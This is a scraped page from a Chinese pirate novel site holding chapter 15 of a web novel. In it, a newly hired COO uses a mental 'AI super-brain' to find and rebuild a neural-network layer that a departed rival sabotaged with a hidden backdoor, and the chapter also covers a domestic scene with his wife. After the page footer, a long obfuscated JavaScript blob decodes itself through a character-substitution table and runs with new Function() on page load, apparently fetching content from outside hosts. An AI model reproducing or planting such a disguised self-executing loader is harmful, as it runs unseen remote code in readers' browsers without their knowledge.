首页
[切换至繁体版]
返回

第15章 技术封神!AI超脑碾压式破局

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第15章技术封神!AI超脑碾压式破局(第1/2页)
    1
    周一上午九点零七分,星河科技十八层,技术中心作战室。
    空气里弥漫着速溶咖啡和汗液混合的怪异气味。十二块显示屏组成环形监控墙,代码流像瀑布一样倾泻而下,绿底黑字,密密麻麻。八名核心工程师围坐在长条会议桌两侧,每人面前两台电脑,键盘敲击声密集如雨。
    没人说话。
    所有人的眼睛都盯着中央主屏——那里实时显示着“慧眼”系统核心算法的运行状态。代表数据吞吐量的蓝色曲线本该平稳上扬,此刻却像癫痫病人的心电图,剧烈抽搐,峰值和谷值相差超过三百个百分点。
    错误日志在侧屏疯狂滚动:
    【ERROR:Tensorshapemi**atchatlayer7】
    【WARNING:Gradientexplosiondetected】
    【ERROR:Memoryoverflowincachepool3】
    【CRITICAL:Modeldivergence,accuracydropto41.2%】
    41.2%的准确率。
    对于一个号称“行业领先、准确率99.3%”的AI安防系统来说,这是死刑判决。
    “复现失败。”坐在林辰右手边的首席算法工程师赵峰抬起头,三十出头的男人,眼圈乌黑,声音沙哑,“第七次了。训练数据、代码版本、硬件环境全部还原到上周五的稳定状态,但一跑就崩。”
    “压力测试结果?”林辰问,声音平静。
    “更糟。”负责测试的王薇调出另一组数据,“模拟千路视频流并发接入,三分钟系统崩溃。错误指向同一个地方——卷积神经网络的第七层权重矩阵,数值溢出。”
    她顿了顿,补充道:“而且……崩溃的方式很诡异。不是常规的内存泄漏或者计算错误,是权重值在训练过程中发生不可控的畸变,像被什么东西‘污染’了。”
    “污染”这个词让会议室里的温度骤降了几度。
    林辰身体前倾,双手交叠放在桌上。这个姿势让他看起来沉稳,但只有他自己知道,手心在冒汗。
    三天前,他正式入职星河科技COO。李铭给他的第一个任务就是“在一个月内,让‘慧眼’系统通过国家安防产品检测认证”——这是星河科技打入政府采购清单的关键门槛,也是公司今年最重要的战略目标。
    而现在,距离他接手仅仅七十二小时,核心产品就出了致命故障。
    更棘手的是,这个故障发生的时间点太巧了——上周五,也就是他入职前一天,系统还运行平稳,通过了内部验收。周末无人值守,周一早上就崩了。
    像是有人算准了时间,给他这个新来的COO送了份“大礼”。
    “王海上周离职前,最后一次代码提交是什么时候?”林辰问。
    赵峰调出Git记录:“上周四晚上十一点二十七分。提交说明是‘优化第七层梯度计算,提升训练效率’。代码量不大,就一百多行。”
    “谁review的?”
    “我。”赵峰脸色难看,“当时看了,逻辑没问题,数值计算也做了边界检查。但……”
    “但现在出问题的就是那部分。”林辰接话。
    会议室再次陷入沉默。
    王海,前任COO,在林辰空降后被调去负责边缘业务,心怀不满是公开的秘密。上周突然以“个人发展原因”辞职,交接只用了半天,走得很干脆。
    现在看来,太干脆了。
    “林总,”坐在角落的年轻工程师小声说,“要不要……回滚到王总修改前的版本?虽然效率低点,但至少稳定。”
    “不行。”林辰摇头,“国家检测要求准确率99%以上,响应时间200毫秒以内。旧版本做不到。而且——”
    他看向主屏上那些疯狂跳动的错误日志:“如果这真的是王海埋的雷,那回滚也解决不了问题。他能在一处埋雷,就能在十处埋雷。我们要做的不是躲,是排。”
    “可时间……”赵峰欲言又止。
    林辰知道他想说什么。距离李铭给的一个月期限,还剩二十七天。而“慧眼”系统从算法到硬件到软件,是一个超过三百万行代码的庞然大物。要在这公海里找到一个精心隐藏的后门,无异于大海捞针。
    常规手段,不可能。
    但林辰有非常规手段。
    “散会。”他突然说。
    工程师们都愣住了。
    “林总,那这个问题……”
    “给我两个小时。”林辰站起来,拿起桌上的笔记本,“两小时后,会议室集合。我要看到完整的故障分析报告,以及——解决方案。”
    说完,他转身走出作战室,留下满屋子面面相觑的人。
    2
    走廊里,林辰快步走向自己的办公室。脚步很稳,但心跳很快。
    他知道刚才的决定很冒险。在两个小时内解决一个顶尖工程师团队排查三天都没头绪的技术难题,这听起来像天方夜谭。如果他做不到,刚建立的威信会瞬间崩塌,COO这个位置,也就坐到头了。
    但他必须赌。
    因为他没有退路。
    走进办公室,关上门,反锁。百叶窗拉下,隔绝了外界的视线。林辰在椅子上坐下,闭上眼睛。
    “系统,”他在脑海里呼叫,“启动AI超脑模块,最高权限。”
    深蓝色界面在眼前展开,银白色数据流开始奔涌。
    【AI超脑模块启动。】
    【检测到宿主处于高压状态,肾上腺素水平偏高,建议深呼吸调整。】
    【正在接入目标系统:‘慧眼’AI安防核心算法库。】
    【接入方式:远程SSH+API混合通道。】
    【权限验证中……已验证(宿主拥有管理员最高权限)。】
    【开始全量代码扫描与静态分析……】
    瞬间,海量信息涌入林辰的感知。
    不是通过眼睛看,不是通过耳朵听,是某种更直接的、近乎“全知”的体验。他“看到”那三百万行代码的结构,像一幅立体星图在他意识中展开。每一颗星星代表一个函数,每一条连线代表一次调用,每一次数据流动都像星系中的能量脉动。
    然后,他“看到”了那个异常点。
    在第七层卷积神经网络的核心计算函数里,有一个极其隐蔽的数值扰动——不是bug,是精心设计的“后门”。它的触发条件很刁钻:只有当系统连续运行72小时以上,并且处理的视频流中同时出现“红色车辆”和“穿黄色衣服的行人”时,第七层的权重矩阵才会开始发生微小的、累积性的畸变。
    这个畸变一开始很小,小到常规监控根本发现不了。但就像癌细胞,会自我复制,指数级扩散。七十二小时后,整个网络的结构都会被污染,准确率暴跌。
    而最毒的是——这个后门在代码层面做了完美伪装。它被嵌套在七八层条件判断和加密计算中,常规的代码审查工具会把它识别为“正常的数值优化逻辑”。除非有人能同时理解整个系统的数学原理、硬件架构、业务场景,并且有足够的算力做全路径动态模拟,否则根本发现不了。
    王海不愧是技术出身的前COO,这一手埋得又狠又刁。
    “系统,能修复吗?”林辰在意识中问。
    【正在生成修复方案……】
    【方案一:代码级修复。定位后门函数,重构计算逻辑,预计耗时4-6小时。风险:可能触发隐藏的连锁反应。】
    【方案二:模型级修复。训练一个对抗性补丁网络,动态校正畸变,预计耗时8-12小时。风险:计算资源消耗大。】
    【方案三:系统级修复。重建第七层网络结构,彻底规避后门,预计耗时2-3小时。风险:需要重新训练部分参数,可能影响性能。】
    【推荐方案:三。理由:最彻底,耗时最短,性能损失可控(预计准确率下降0.07%,响应时间增加3毫秒)。】
    “执行方案三。”林辰说,“另外,扫描整个代码库,排查是否还有其他隐藏后门或逻辑炸弹。”
    【收到。开始执行系统级修复……】
    【重建第七层网络架构……】
    【重新分配计算资源……】
    【启动增量训练……】
    【预计完成时间:2小时14分钟。】
    【同时启动全库深度扫描。预计耗时:1小时37分钟。】
    倒计时开始。
    林辰睁开眼睛,呼出一口气。手心的汗已经干了。
    他打开电脑,调出“慧眼”系统的技术文档,开始快速浏览。虽然系统在代劳修复,但他自己必须理解每一个细节——等会儿要向团队解释,要向李铭汇报,他不能露出一丝“这问题很简单”的轻慢。
    那会引人怀疑。
    两小时。他需要在这两小时内,消化完这套系统的核心设计,理解那个后门的工作原理,准备好修复方案的完整说明,还要想好怎么解释自己“突然”发现了问题。
    工作量很大。
    但林辰没觉得累。相反,一种久违的兴奋感在血管里奔涌——那是挑战高难度问题、并且知道自己能解决时,才会产生的智力快感。
    他想起七年前,刚进天启科技时,接手第一个烂尾项目。那个项目拖了半年,换了三个负责人,代码像一团乱麻。他把自己关在会议室三天,画了十七张架构图,最后捋清了脉络,带着团队一个月上线。
    当时的产品副总裁拍着他的肩说:“小林,你是真喜欢解决问题。”
    是啊,他喜欢。喜欢那种从混乱中找出秩序、从绝望中凿出通路的感觉。这七年,他升了职,赚了钱,背了房贷,养了家,渐渐忘了自己最初为什么选择这个行业。
    现在,坐在星河科技COO的办公室里,面对一个几乎不可能完成的任务,那种熟悉的、近乎本能的兴奋,又回来了。
    只是这一次,他有了系统。
    如虎添翼。
    3
    上午十点四十分,办公室门被敲响。
    “进。”
    苏雨晴推门进来,手里拎着个保温袋。她今天穿了身浅灰色的职业套装,头发扎成利落的低马尾,化了淡妆——这是她重回职场后养成的习惯,说“要有个工作的样子”。
    “妈让我送来的。”她把保温袋放在桌上,“说你早上没吃饭。”
    林辰这才想起来,自己从起床到现在,就喝了半杯咖啡。胃里空得发慌。
    保温袋里是小米粥和两个包子,还温热着。他拿起包子咬了一口,是白菜猪肉馅,母亲的味道。
    “你怎么来了?”他边吃边问,“今天不上班?”
    “请假了。”苏雨晴在他对面坐下,看着他,“妈听说你公司出事了,不放心,非要我来看看。”
    “出什么事?”
    “别装了。”苏雨晴看着他,“你从早上进家门就心事重重,接电话时语气也不对。妈虽然不懂你们那些技术,但她不傻。是不是工作不顺利?”
    林辰咽下嘴里的食物,喝了口粥。小米粥熬得浓稠,暖意从喉咙一路滑到胃里。
    “是有点麻烦。”他实话实说,“前COO在系统里埋了雷,我刚接手就爆了。现在整个技术团队束手无策。”
    苏雨晴脸色变了:“严重吗?”
    “严重。处理不好,我这个COO就干到头了。”
    “那……能处理好吗?”
    林辰看着她担忧的眼睛,笑了:“能。已经找到办法了,在解决。”
    苏雨晴盯着他看了几秒,然后点头:“嗯,你说了能,就一定能。”
    这种毫无保留的信任,让林辰心里一暖。他放下勺子,握住她的手:“谢谢。”
    “谢什么。”苏雨晴脸微红,想抽手,但没抽动,“我就是……来看看。你吃,我走了。”
    “别走。”林辰说,“陪我坐会儿。等会儿有场硬仗要打,你在,我踏实点。”
    苏雨晴不说话了,安静地坐在那里,看他吃饭。
    窗外的阳光透过百叶窗的缝隙,在地板上切出一道道光斑。办公室里很安静,只有林辰吃饭的轻微声响,和空调出风口的风声。
    这一刻,时间好像慢了下来。
    “雨晴,”林辰突然说,“等这个项目过了,咱们换个房子吧。”
    苏雨晴一愣:“换房子?现在这个不是挺好?”
    “小了点。”林辰说,“爸妈年纪大了,需要单独的房间。小宝和小花也大了,不能一直挤一间。而且……”
    他顿了顿:“而且我想给你一个书房。你以前不是说,想要一间自己的书房,摆满书,有张大桌子,可以在里面看书、工作,谁也不打扰。”
    苏雨晴眼睛慢慢睁大:“你……你还记得?”
 
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();